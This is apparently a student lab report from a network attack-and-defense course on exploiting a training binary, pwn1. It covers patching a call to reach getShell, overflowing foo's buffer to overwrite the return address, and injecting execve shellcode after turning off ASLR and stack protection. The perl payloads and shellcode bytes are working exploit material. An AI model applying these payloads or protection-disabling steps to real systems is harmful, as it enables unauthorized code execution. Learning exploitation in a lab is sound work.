9
20242924 2024-2025-2 《网络攻防实践》实践九报告
1.实践内容
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
1.2 实验知识
1.2.1 缓冲区溢出
计算机程序一般都会使用到一些内存,这些内存或是程序内部使用,或是存放用户的输入数据,这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了,在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。
1.2.2 内存中的栈区和堆区
- 堆区:就是通过new、malloc、realloc分配的内存块,编译器不会负责它们的释放工作,需要用程序区释放。分配方式类似于数据结构中的链表。“内存泄漏”通常说的就是堆区。
- 栈区:存放函数内的局部变量,形参和函数返回值。栈区之中的数据的作用范围过了之后,系统就会回收自动管理栈区的内存(分配内存 , 回收内存),不需要开发人员来手动管理。栈区就像是一家客栈,里面有很多房间,客人来了之后自动分配房间,房间里的客人可以变动,是一种动态的数据变动。
1.2.3 shellcode
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
2.实践过程
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
将kali暂时重命名为rwc,将解压好的文件pwn1重命名为pwn20242924,原本pwn的功能是:简单回显用户输入的字符串:

输入命令objdump -d pwn20242924 | more进行反汇编,反汇编结果如下:

反汇编后,这里显示了这个程序使用的所有函数。函数中包括了所有的汇编指令。
按enter键查看更多,如下图中的getshell、foo和main函数。

可以看到,main函数中的第四行call指令80484b5: e8 d7 ff ff ff call 8048491
call 8048491 是汇编指令,其含义是调用地址为8048491的foo函数。e8 d7 ff ff ff是机器指令,e8的含义是“跳转”,EIP值指的是下一条指令的地址:80484ba,这条机器指令的意思是转而执行下一条位于地址80484ba的指令。
这会将函数调用到foo函数中,而foo函数中没有跳转到getShell函数(0804847d)的指令。进一步分析得出,在这个文件中,call指令的机器码是e8。
实际上,8048491=80484ba+ffffffd7,也就是说,call指令跳转到的目标foo函数的地址(8048491)正是该指令的下一条指令的EIP寄存器的值(80484ba,这正是该指令的下一条指令的地址)与该指令的表示目标的字段(ffffffd7,小端优先)之和。
因此,我们可以这样修改:
由于804847d-80484ba=ffffffc3,所以我们只需要把call指令的目标地址由d7ffffff改为c3ffffff即可。
输入命令:vim pwn20242924


按下esc离开编辑模式,然后键入:%!xxd,切换到16进制模式。

根据之前看到的反汇编的结果,键入/d7,进行定位,如果前后正是e8d7ffff,即可判断这就是我们要修改的位置(在000004b0行)。
修改d7为c3(光标定位到要切换的字符,按r键进入到切换字符模式,然后输入)。

然后转换为原来的格式:%!xxd -r,保存退出:wq。
重新反汇编objdump -d pwn20242924 | more,发现主函数中的call指令目标成功切换到了getShell。

输入“./pwn20242924”运行改后的代码,会得到shell提示符#

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
重新解压一个pwn文件,重命名为:pwn20242924-2

输入命令:objdump -d pwn20242924-2 | more

我们的目标是触发函数getShell;该可执行文件正常运行是调用函数foo,但buffer的填充并不安全。因此,这个函数有Buffer overflow漏洞;
对foo函数进行分析
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp ; 为局部变量申请0x38字节栈空间(56字节)
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax ; eax = ebp - 0x1c
804849a: 89 04 24 mov %eax,(%esp) ; 把 eax(缓冲区地址)传给 gets()
804849d: e8 8e fe ff ff call 8048330 <gets@plt> ; gets(buf)
- 缓冲区起始地址为 ebp - 0x1c(28字节)。
- 栈一共分配了
0x38 = 56字节,后面还会存储ebp(4字节)和ret(4字节)。 - 若输入超过 28字节,就会覆盖旧
ebp和ret(返回地址)。
因此,可以构造输入,填充:
- 28字节:任意字符(覆盖缓冲区)
- 4字节:覆盖旧
ebp(可随意) - 4字节:覆盖返回地址为 getShell 的地址
因为是 小端序,地址应写作:\x7d\x84\x04\x08
使用 Perl 生成攻击字符串:
perl -e 'print "11112222333344445555666677777rwc\x7d\x84\x04\x08"' > input20242924
xxd input20242924
将 input20242924 文件中的内容发送给 pwn20242924-2程序作为输入,实现缓冲区溢出的效果,获取到shell。
(cat input20242924;cat) | ./pwn20242924-2
把input20242924 文件中的内容发送给pwn20242924-2程序作为输入,实现缓冲区溢出的效果,获取到shell。
(cat input20242924;cat) | ./pwn20242924-2

2.3 注入一个自己制作的shellcode并运行这段shellcode
通过命令apt-get install execstack安装execstack

输入以下命令:
execstack -s ./pwn20242924-2 //将堆栈设为可执行状态;
execstack -q ./pwn20242924-2 //查看文件pwn的堆栈是否为可执行状态;
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化;
more /proc/sys/kernel/randomize_va_space //查看地址随机化状态,输出0成功关闭;为1则仍然是打开状态

输入以下指令构造输入的字符串,覆盖33-36字节返回地址:
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input20242924-2

输入指令:
(cat input20242924-2; cat) | ./pwn20242924-2
将input20242924-2作为pwn20242924-2的输入。通过命令ps -ef | grep pwn20242924-2查看进程,由图中可以看到进程号为357442

sudo apt-get install gdb,安装gdb。
输入指令gdb pwn20242924-2打开gdb对pwn20242924-2进行调试。
后输入指令attach 402772 找到对应的进程。
输入指令disassemble foo对foo函数进行反汇编。
通过指令break *0x080484ae设置断点


设置完毕,在之前运行pwn20242924-2的终端中按下回车继续执行程序。
gdb中输入指令c,继续执行。
程序中断,输入指令info r esp查看栈顶指针所在的位置:0xffffd32c
输入指令x/16x 0xffffd32c查看存放内容。其中的0x01020304,就是返回地址的位置。


计算可得返回地址 ffffd32c + 00000004 = ffffd330,因此,重新构造shellcode,将返回地址修改正确,输入命令:
perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > 20242924input3

再通过命令(cat input20242924-3;cat) | ./pwn20242924-2运行程序,由图中可以看到此时已经调用getShell成功,即攻击成功
3.学习中遇到的问题及解决
- 问题1:临时更改主机名后,kali虚拟机变得很慢,打不开root窗口
- 问题1解决方案:重启了主机几次,从powershell利用
sudo su进入root
![de]()
- 问题2:无法安装execstack
- 问题2解决方案:- 问题2解决方案:在官网中
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb下载到本地,再复制到kali虚拟机
![de]()
4.实践总结
本次实践是网络攻防实践课程的第九次实践,作业过程比较繁琐,由于自己对注入攻击的知识还有汇编语言等掌握的不够扎实,所以实验中也出现了一些问题,好在最后得以解决顺利完成试验。本次实验学习和理解了缓冲区溢出攻击的原理以及一些实验操作,还有getShell函数以及注入一个自己制作的shellcode等知识,实验过程中还需遇到了许多kali虚拟机的问题,在摸索中慢慢解决,锻炼了动手能力和解决问题能力。受益匪浅。

浙公网安备 33010602011771号